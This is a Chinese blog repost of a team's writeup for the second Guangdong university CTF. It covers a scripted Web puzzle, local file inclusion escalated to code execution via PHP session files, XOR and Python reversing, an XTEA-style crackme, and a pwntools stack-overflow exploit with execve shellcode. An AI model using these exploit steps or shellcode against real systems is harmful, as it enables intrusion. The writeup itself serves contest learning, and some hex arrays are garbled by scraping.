第二届广东省大学生CTF Writeup

admin 2022年6月6日23:19:11评论72 views字数 9762阅读32分32秒阅读模式

第二届广东省大学生CTF Writeup

点击上方“蓝字”,关注更多精彩


第二届广东省大学生CTF Writeup

涛哥在学校打的最后一场CTF,很精彩的一次比赛,但是最后还差一点打进决赛很可惜,放一张图纪念下。

第二届广东省大学生CTF Writeup

Web

easy_ctf

第二届广东省大学生CTF Writeup

如图,我的第一反应这不是算法题吗??老老实实写个代码:

import pyperclip

# 接收输入
data = input()

# 使用字典来计数
dic = {}
for i in data:
    # 这个后面你就会知道为什么要写
    if i == 'r' or i == 'n':
        continue
    # 如果dic不存在键i,置键i对应值为0
    if dic.get(i, 0) == 0:
        dic[i] = 0
    dic[i] += 1

# 排序并打印
sorted_dic = sorted(dic.items(), key=lambda x: x[1])
print(sorted_dic)
print()
# 将排序后的字典键都拿出来
ans = ""
for i in sorted_dic:
    ans += i[0]
print(ans)
# 自动复制到剪切板,纯纯懒狗行为
pyperclip.copy(ans)
exit()

提交,又刷了一个?这里确实不清楚为什么,我以为是需要多提交几次,于是写了个爬虫(直接把上面的模块改造一下):

import requests
from lxml import etree
import time

url = "http://xxx/"

# 获取响应包
response = requests.get(url=url)
while True:
    dic = { }
    # 将HTML文本拿出来,如果flag在里面就打印
    page_text = response.text
    print(page_text)
    if "flag" in page_text:
        print(page_text)
        exit()
    # 利用xpath获得元素并得到其文本内容
    tree = etree.HTML(page_text)
    target_data = tree.xpath('/html/body/table//td')[0].text
    print(target_data)

    data = target_data
    for i in data:
        # 文本内容里会带有回车符,过滤掉以免其作为字典键
        if i == 'r' or i == 'n':
            continue
        if dic.get(i, 0) == 0:
            dic[i] = 0
        dic[i] += 1

    sorted_dic = sorted(dic.items(), key=lambda x: x[1])
    print(sorted_dic)
    ans = ""
    for i in sorted_dic:
        ans += i[0]

    # 将数据提交
    data = {
        "ans": ans
    }
    response = requests.post(url=url, data=data)
    # 怕搞太快
    time.sleep(0.5)

但是跑了很久也没有思路,觉得可能是session的问题,但是还有一道也是session的利用,就感觉没这么巧,但是最后就是这么巧:

import requests
from lxml import etree
import time

url = "http://120.79.191.238:47732/"

# 创建session对象,代表这些请求是一次会话中进行的,后面的代码基本不变
session = requests.session()

response = session.get(url=url)
while True:
    dic = { }
    page_text = response.text
    if "flag" in page_text:
        print(page_text)
        exit()
    tree = etree.HTML(page_text)
    target_data = tree.xpath('/html/body/table//td')[0].text
    print(target_data)

    data = target_data
    for i in data:
        if i == 'r' or i == 'n':
            continue
        if dic.get(i, 0) == 0:
            dic[i] = 0
        dic[i] += 1

    sorted_dic = sorted(dic.items(), key=lambda x: x[1])
    print(sorted_dic)
    ans = ""
    for i in sorted_dic:
        ans += i[0]

    data = {
        "ans": ans
    }
    response = session.post(url=url, data=data)
    time.sleep(0.2)

放着跑就出flag了。

in

先是一个简陋的,登录功能?

第二届广东省大学生CTF Writeup

进入之后很容易发现,以file参数 + 文件名的形式,大概率存在任意文件读取漏洞,小测一波就出来了/etc/passwd

第二届广东省大学生CTF Writeup

试图读取源码,发现被包含了,好家伙还是个文件包含漏洞:

第二届广东省大学生CTF Writeup

可以利用php伪协议读取源码,但源码里没有什么东西,而且伪协议也不能RCE(我经常参考这篇伪协议总结https://segmentfault.com/a/1190000018991087 ):

php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=action.php

另外也尝试过远程文件包含,但也失败了,所以我想尝试包含日志来RCE,通过file=/proc/self/cmdline确认了中间件为Apache,也可以读取到配置文件,但没有发现日志文件的位置。

Cookie中发现了PHPSESSID,于是尝试session文件包含,session文件的路径一般是这几个:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/xxx/tmp/sess_PHPSESSID
/xxxx/tmp/sessions/sess_PHPSESSID

确定是/tmp/sess_PHPSESSID(这个PHPSESSID自定义也行),现在只需要回去改name就可以RCE了:

第二届广东省大学生CTF Writeup
第二届广东省大学生CTF Writeup
第二届广东省大学生CTF Writeup

用蚁剑连接也行。

以下部分是涛哥做的。

Crypto

xor2

简单的密码题,给定的程序很短:

from secret import flag

key = "xxxx" # not real key

cipher = ""
for i, c in enumerate(flag):
    cipher += chr(ord(c) ^ ord(key[i%4]))

with open("cipher""w"as f:
    f.write(cipher)

很明显,取了key的前4个字符做了运算,由于flag前四位为flag,因此可以推出key,最终key为xxxx....(虚晃一枪?),得到key后,很容易得到flag

import string

key = 120
flag = ''
c = [0x1E,0x14,0x19,0x1F,0x03,0x1E,0x1B,0x1B,0x1A,0x48,0x4E,0x4E,0x4D,0x55,0x1A,0x1B,0x1D,0x4D,0x55,0x1C,0x4B,0x4A,0x41,0x55,0x19,0x1B,0x19,0x4F,0x55,0x41,0x41,0x49,0x4F,0x41,0x1A,0x1C,0x1B,0x41,0x1D,0x1C,0x4B,0x05]
table = string.ascii_letters+string.digits+string.punctuation
for i in range(len(c)):
    for j in range(len(table)):
        if c[i]^key == ord(table[j]):
            flag+=table[j]
print(flag)

reverse

pyre

简单的python逆向程序(无保护措施),Pyinstxtractor还原出structpyc文件,修复pyc

第二届广东省大学生CTF Writeup

然后随便找个在线反编译:

def check():
    a = input('plz input your flag:')
    c = [14416315817712139585891111251587253152781711253105451212531217111191531521054515214439171459178451588]
    if len(a) != 42:
        print('wrong length')
        return 0
    b = 179
    for i in range(len(a)):
        if ord(a[i]) * 33 % b != c[i]:
            print('wrong')
            return

    print('win')


check()

适当改一点,破解一波,得到flag

import string

table = string.ascii_letters+string.digits+string.punctuation

def check():
    print('aa')
    #a = input('plz input your flag:')
    c = [14416315817712139585891111251587253152781711253105451212531217111191531521054515214439171459178451588]
    #if len(a) != 42:
    #    print('wrong length')
    #    return 0
    b = 179

    flag = ''
    for i in range(len(c)):
        for j in range(len(table)):
            if ord(table[j]) * 33 % b == c[i]:
                flag+=table[j]
                print(table[j])

    print(flag)        

check()

simple_re

这个题算是比较正常的难度,Windows下的程序,程序有几个反调试,去掉就好,另外程序是用c++写的,用了虚表,比较麻烦,伪代码如下:

第二届广东省大学生CTF Writeup

输入错误的验证码,程序运行到第三个函数就异常退出,动态调试看一下:

  • • 函数一

sub_7FF7A6F84160(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+0h] [rbp-18h]

for ( i = 0; i < 36; ++i )
{
*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (2 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0x55)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xAA) >> 1);
*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (4 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0x33)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xCC) >> 2);
*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (16 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xF)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xF0) >> 4);
result = (unsigned int)(i + 1);
}
return result;
}

这部分主要是对输入的flag进行一个变换。

  • • 函数二

BOOL __fastcall sub_7FF7A6F84260(__int64 a1)
{
int i; // [rsp+20h] [rbp-28h]
_BYTE *v3; // [rsp+30h] [rbp-18h]

lpAddress = VirtualAlloc(0i64, 0xE8ui64, 0x1000u, flOldProtect);
v3 = lpAddress;
for ( i = 0; i < 0xE8; ++i )
v3[i] = *(_BYTE *)(*(_QWORD *)(a1 + *(int *)(*(_QWORD *)(a1 - 16) + 4i64) - 8) + i % 4) ^ ArgList[i];
return VirtualProtect(lpAddress, 0xE8ui64, 0x20u, &flOldProtect);
}

函数先申请了一片空间,然后将flag的取前 4 个,然后循环与ArgList[i]进行异或,然后写进空间,这个地方推测可能是使用smc

  • • 函数三

__int64 __fastcall sub_7FF7A6F83F60(__int64 a1)
{
__int64 (__fastcall *v2)(__int64, __int64, char *); // [rsp+20h] [rbp-48h]
char v3[32]; // [rsp+28h] [rbp-40h] BYREF

v2 = (__int64 (__fastcall *)(__int64, __int64, char *))lpAddress;
strcpy(v3, "Welcome to the game!nYour key: ");
((void (__fastcall *)(__int64, __int64, char *))lpAddress)(
12i64,
*(_QWORD *)(a1 + *(int *)(*(_QWORD *)(a1 + 8) + 4i64) + 16) + 4i64,
v3);
return v2(12i64, *(_QWORD *)(a1 + *(int *)(*(_QWORD *)(a1 + 8) + 4i64) + 16) + 20i64, &v3[16]);
}

很明显调用了lpAddress,因此只要函数二的结果不对,函数三执行的指令就错误,由于只是取flag前 4 位,因此可以很容易突破函数二,动态跟踪一下函数三,看看最终做了什么验证。

第二届广东省大学生CTF Writeup

这里主要做了类xtea算法的加密,逆解密可以得到变形后flag,然后再逆推回去,就能得到flag

from z3 import *
from json import *
from ctypes import *

'''
    *(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (2 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0x55)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xAA) >> 1);
    *(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (4 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0x33)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xCC) >> 2);
    *(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (16 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xF)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xF0) >> 4);
'''


def solve2chr(solve):
    solve_str = str(solve)
    for i in ['[',']',' ','n']:
        solve_str = solve_str.replace(i,'')

    result = loads('{"'+solve_str.replace('=','":"').replace(',','","')+'"}')
    return result

def getchar(str_list,num):
    sol = Solver()

    flag4_ = ''
    flag4 = [BitVec(f"flag4[{i}]"16for i in range(num)]
    for i in range(num):
        flag4[i] = (2 * (flag4[i] & 0x55)) | ((flag4[i] & 0xAA) >> 1)
        flag4[i] = (4 * (flag4[i] & 0x33)) | ((flag4[i] & 0xCC) >> 2)
        flag4[i] = (16 * (flag4[i] & 0xF)) | ((flag4[i] & 0xF0) >> 4)

    for i in range(num):
        sol.add(flag4[i] == str_list[i])

    assert sol.check() == z3.sat
    solve = sol.model()

    solve_dict = solve2chr(solve)
    for i in range(num):
        flag4_ += chr(int(solve_dict["flag4"+str(i)]))
    print(flag4_)

def decrypt(v, k):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x876AAC7F
    total = c_uint32(delta * 12)

    for i in range(12):
        v1.value -= (((v0.value << 3) ^ (v0.value >> 6)) + v0.value) ^ (total.value + k[(total.value >> 11) & 3])
        total.value -= delta
        v0.value -= (((v1.value << 3) ^ (v1.value >> 6)) + v1.value) ^ (total.value + k[total.value & 3])

    print(hex(v0.value),hex(v1.value))

def main():
    str_list = [0x720x0C0xF60x0E0x8C0x690x230x690x590xA80x060xEF0x2A0x1A0x560xB60x960xAC0xEE0x920x5C0xF20xED0x0A0x5F0x360x8E0x410xA60x360x860x720x560xD20x540xC2]
    getchar(str_list,4)

    v1 = [0x6923698C0xEF06A859]
    v2 = [0x0AEDF25C0x418E365F]

    k1 = [0x636C65570x20656D6F0x74206F740x67206568]
    k2 = [0x21656D610x756F590A0x656B20720x00203A79]

    decrypt(v1,k1)
    decrypt(v2,k2)

    #0xcce2fa86 0x5ec49ea2
    #0xac642612 0x4c724a0e

    flag_encode = [0x720x0C0xF60x0E0x860xFA0xE20xCC0xA20x9E0xC40x5E0x2A0x1A0x560xB60x960xAC0xEE0x920x120x260x640xAC0x0E0x4A0x720x4C0xA60x360x860x720x560xD20x540xC2]
    print('flag:')
    getchar(flag_encode,36)
main()

pwn

jmp_rsp

简单的栈溢出题:

from pwn import *

r = remote('47.106.122.102',46727)

jmp_rsp = 0x46d01d
shellcode = b'x6ax3bx58x99x52x48xbbx2fx2fx62x69x6ex2fx73x68x53x54x5fx52x57x54x5ex0fx05'
payload = b"A" * 0x88 + p64(jmp_rsp) + shellcode
r.sendline(payload)

r.interactive()

midpwn

赛后出的,忘记去验证能不能远程打通,exp先不放出。

参考文章

  • • http://www.ctfiot.com/41085.html

  • • https://blog.csdn.net/qq_38154820/article/details/120300273



第二届广东省大学生CTF Writeup

END

第二届广东省大学生CTF Writeup

• 往期精选

第二届广东省大学生CTF Writeup
第二届广东省大学生CTF Writeup

钓鱼邮件那些事之word文档的密秘

基于Linux系统下的入侵排查

基础知识篇 |  浅析跨域资源共享协议相关安全问题(下)

基础知识篇 | 应急响应之中间件漏洞



原文始发于微信公众号(格物安全):第二届广东省大学生CTF Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月6日23:19:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第二届广东省大学生CTF Writeuphttp://cn-sec.com/archives/1091744.html

发表评论

匿名网友 填写信息